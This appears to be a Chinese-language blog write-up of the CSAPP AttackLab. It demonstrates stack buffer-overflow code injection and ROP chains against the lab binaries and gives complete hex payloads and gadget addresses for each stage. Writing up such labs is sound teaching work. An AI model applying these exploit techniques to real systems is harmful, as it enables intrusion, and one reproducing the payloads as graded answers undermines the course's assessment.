前言
本篇部落格將會介紹 CSAPP 之 AttackLab 的攻擊過程,利用緩衝區溢位錯誤進行程式碼注入攻擊和 ROP 攻擊。實驗提供了以下幾個檔案,其中 ctarget
可執行檔案用來進行程式碼注入攻擊,rtarget
用來進行 ROP 攻擊。
每種攻擊都有等級之分,如下表所示。
階段 | 程式 | 等級 | 攻擊方法 | 函式 | 分值 |
---|---|---|---|---|---|
1 | ctarget | 1 | CI | touch1 | 10 |
2 | ctarget | 2 | CI | touch2 | 25 |
3 | ctarget | 3 | CI | touch3 | 25 |
4 | rtarget | 2 | ROP | touch2 | 35 |
5 | rtarget | 3 | ROP | touch3 | 5 |
程式碼注入攻擊
Level 1
在 ctarget
中,test
函式內部呼叫了 getbuf
函式,程式碼如下所示:
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
其中 getbuf
函式會分配緩衝區大小,並呼叫 Gets
函式讀取使用者輸入的字串:
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
此處 BUFFER_SIZE
需要從彙編程式碼中獲取。level 1 要求攻擊者輸入一段足夠長的字串,覆蓋 test
棧幀中儲存的返回地址,使得從 getbuf
返回之後不是繼續執行 test
函式的最後一行,而是從 touch1
的第一行開始執行,touch1
的程式碼如下所示:
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
為了確定字串的長度和內容,需要分析一下 ctarget
的彙編程式碼,objdump -d ctarget > ctarget.asm
可以將 ctarget
的彙編程式碼寫入檔案。其中 torch1
的程式碼如下所示:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由此可知,攻擊者需要將返回地址修改為 0x4017c0
才能完成 level 1。而 getbuf
的程式碼如下所示:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可以看到,棧指標減小了 0x28 也就是 40,說明緩衝區的大小為 40 個位元組。一旦字串的長度(包括結束符)大於 40,就會覆蓋返回地址。字串的前 40 個字元任意,第 41、42 和 43 個字元的十六進位制值必須是 C0
、17
和 40
,才能將返回地址修改為 0x4017c0
。修改前後的棧如下圖所示:
由於 C0
和 17
對應的字元打不出來,所以建立一個檔案 exploit.txt
,在裡面寫入 40 個 30
(30 之間要有空格隔開)加上 c0 17 40 00
,這裡加上 00
是必須的(作為結束符),之後使用 hex2raw
將 exploit.txt
中的十六進位制數轉為字串並作為 ctarget
的輸入,結果如下圖所示:
可以看到程式確實跳轉到了 touch1
函式,攻擊成功( ̄︶ ̄)↗ 。
level 2
level 2 要求跳轉到 touch2
函式,且執行 if 分支,touch2
的程式碼如下所示:
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
也就是說需要在跳轉到 touch2
之前使用注入的指令,將 %rdi
的值修改為 cookie
(本次實驗的 cookie
為 0x59b997fa
)。要想讓輸入的指令生效,需要將 getbuf
的返回地址修改為 buf
的起始地址,這樣執行 ret
之後會將 M[%rsp]
送到 %rip
中,下次就不會從 Text 區取指令了,而是從 stack 裡面取指令(此處就是緩衝區)。原理如下圖所示:
上圖中的 B
代表緩衝區的起始地址,使用 GDB 可以拿到這個地址為 0x5561dc78
:
為了實現 %rdi
的修改和 touch2
的跳轉,可以使用如下的彙編程式碼實現(檔案命名為 touch2.s
),ret
指令可以將 M[%rsp]
的值(此處為 touch2
的地址 0x4017ec
)送到 %rip
,使得程式回到 Text 區的 touch2
函式處執行:
mov $0x59b997fa, %edi
ret
使用 gcc -c touch2.s
得到目標檔案 touch2.o
,再用 objdump -d touch2.o > touch2.asm
進行反彙編,得到包含二進位制編碼的彙編程式碼:
touch2_.o: 檔案格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: c3 retq
有了二進位制機器指令之後,就可以得到用於攻擊的字串的十六進位制值了,中間的一大串 30 用來佔位:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
ec 17 40 00 /* touch2 的起始地址 */
程式的執行效果如下:
發現這裡雖然成功設定了 %rdi
的值為 cookie
,也跳轉到了 touch2
,最終卻由於 segment fault
而失敗。出現這個錯誤的原因,是因為我們修改了 12 個位元組的棧幀的內容:第一次將 8 個位元組的返回地址修改為 buf
起始地址,第二次應該是修改了 launch
(呼叫了 test
)棧幀中儲存的返回地址。為了解決這個問題,我們將彙編指令修改為:
mov $0x59b997fa, %edi
pushq $0x4017ec
ret
使用 pushq
指令將 touch2
的堆疊壓入棧中,一樣能實現跳轉功能。這樣就需要把字串的十六進位制值修改為:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */
68 ec 17 40 00 /* pushq $0x4017ec */
c3 /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
程式執行效果如下,這次攻擊成功了( ̄︶ ̄)↗ :
Level 3
level 3 要求跳轉到 touch3
函式,並且執行 if 分支,程式碼如下所示:
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
可以看到 touch3
會使用 hexmatch
函式進行字串匹配,此處 cookie
為 0x59b997fa
,sval
是攻擊者注入的 cookie
的起始地址。hexmatch
函式將 cookie
從數字轉換成了字串 59b997fa
,也就是我們輸入的 cookie
就應該是 59b997fa
,對應的十六進位制為 35 39 62 39 39 37 66 61
。
由於 touch3
開頭就使用了 push %rbx
,將 %rbx
的值寫入了棧中,接著使用 callq
呼叫了 hexmatch
函式,這個操作也會把 0x401916
返回地址寫入 touch3
的棧幀中。在 hexmatch
的開頭,連續使用了三條 push
指令,修改了棧的內容。以上的幾個操作會改變 buf
緩衝區的內容,%rsp
的變化過程如下圖所示:
為了避免輸入的 cookie
被覆蓋掉,可以將其放在輸入字串的最後,對應的記憶體地址為 0x5561dc78 + 48d = 0x5561dca8
,其餘部分和 level 2 相似,如下所示:
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */
68 fa 18 40 00 /* pushq $0x4018fa */
c3 /* retq */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00 /* buf 起始地址 */
35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
攻擊效果如下,pass 說明攻擊成功了 ヾ(≧▽≦*)o
ROP 攻擊
程式碼注入攻擊要求能夠確定緩衝區的起始地址和緩衝區中注入的程式碼能夠被執行,如果引入棧隨機化技術並限制可執行程式碼區域為 Text 區,程式碼注入攻擊就不好使了,因為我們注入的程式碼壓根就不會被執行。
雖然我們注入的程式碼不能被執行,但是 Text 區的程式碼還是可以被執行的。如果能把這些程式碼組合在一起,實現我們想要的功能,那麼也能實現攻擊目的。這時候緩衝區儲存的就不是指令了,而是一條條 Text 區可以被執行的指令的地址,同時這些指令有個特點,就是後面會跟著 ret
指令,這樣才能根據緩衝區中儲存的指令地址接著取指。上述的攻擊方式就被稱為 ROP 攻擊。
Level 2
Level 2 要求使用 ROP
攻擊跳轉到 touch2
函式並執行 if 分支,並給出了下列要求:
- 只能使用包含
movq
、popq
、ret
和nop
的 gadget - 只能操作
%rax
到%rdi
這前八個暫存器 - 只能使用
start_farm
到mid_farm
區間內的程式碼來構造 gadget
並且友情提示了只要兩條 gadget 就能實現攻擊。我們在程式碼注入攻擊 level 2 中注入了 mov $0x59b997fa, %edi
指令來實現 %rdi
的賦值,但是 start_farm
到 mid_farm
區間內的程式碼沒有包含 0x59b997fa
立即數,所以這個立即數應該由攻擊者輸入,存在棧中。接著我們可以使用下述指令實現 %rdi
的賦值:
popq %rax
movq %rax, %rdi
其中 popq %rax
對應的機器碼為 58
,movq %rax, %rdi
對應的機器碼為 48 89 c7
。在 start_farm
中搜尋包含這個機器碼,結果如下圖所示。
可以看到 addval_219
和 getval_280
中的 58
後面接的不是 90
(對應 nop
指令)就是 c3
(對應 ret
指令),可以用於構造 gadget,地址為 0x4019ab
或者 0x4019cc
。而 addval_273
和 setvak_426
中的 48 89 c7
也滿足條件,地址為 0x4019a2
或者 0x4019c5
。
根據上述分析,可以得到字串的十六進位制為:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */
棧的內容如下圖所示:
攻擊效果如下,成功 PASS q(≧▽≦q)
Level 3
Level 3 同樣要求使用 ROP 攻擊跳轉到 touch3
並執行 if 分支,本次傳遞給 %rdi
的是 cookie
字串的地址,受到棧隨機化的影響,緩衝區的起始地址一直在變化,所以不能將 cookie
字串的地址直接寫入緩衝區。但是 %rsp
裡面儲存了地址,如果我們給這個地址加上一個偏差量,就能得到 cookie
字串的地址了。
實現上述想法最直白的彙編程式碼如下所示:
movq $rsp, %rdi
popq %rsi
callq 0x401d6<add_xy>
movq %rax, %rdi
可惜不是每一條指令的機器碼都能在 start_farm
到 end_farm
之間找到並構造出 gadget,所以需要稍微繞點遠路,結果如下:
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edx
movl %edx, %ecx
movl %ecx, %esi
callq 0x4019d6<add_xy>
movq $rsp, %rdi
根據上述彙編程式碼的機器碼地址可以得到輸入字串的十六進位制為:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
06 1a 40 00 00 00 00 00 /* addval_190: movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* addval_273: movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */
48 00 00 00 00 00 00 00 /* 偏移地址 */
dd 19 40 00 00 00 00 00 /* getval_481: movl %eax, %edx */
69 1a 40 00 00 00 00 00 /* getval_311: movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* addval_436: movl %ecx, %six */
d6 19 40 00 00 00 00 00 /* <add_xy> */
c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3 地址 */
35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
最終也通過測試了 []~( ̄▽ ̄)~*:
總結
通過這次實驗,可以加深對緩衝區溢位安全問題的理解,掌握程式碼注入攻擊和 ROP 攻擊的原理,同時對 x86-64 指令的編碼方式以及取指有了更好的認識,以上~~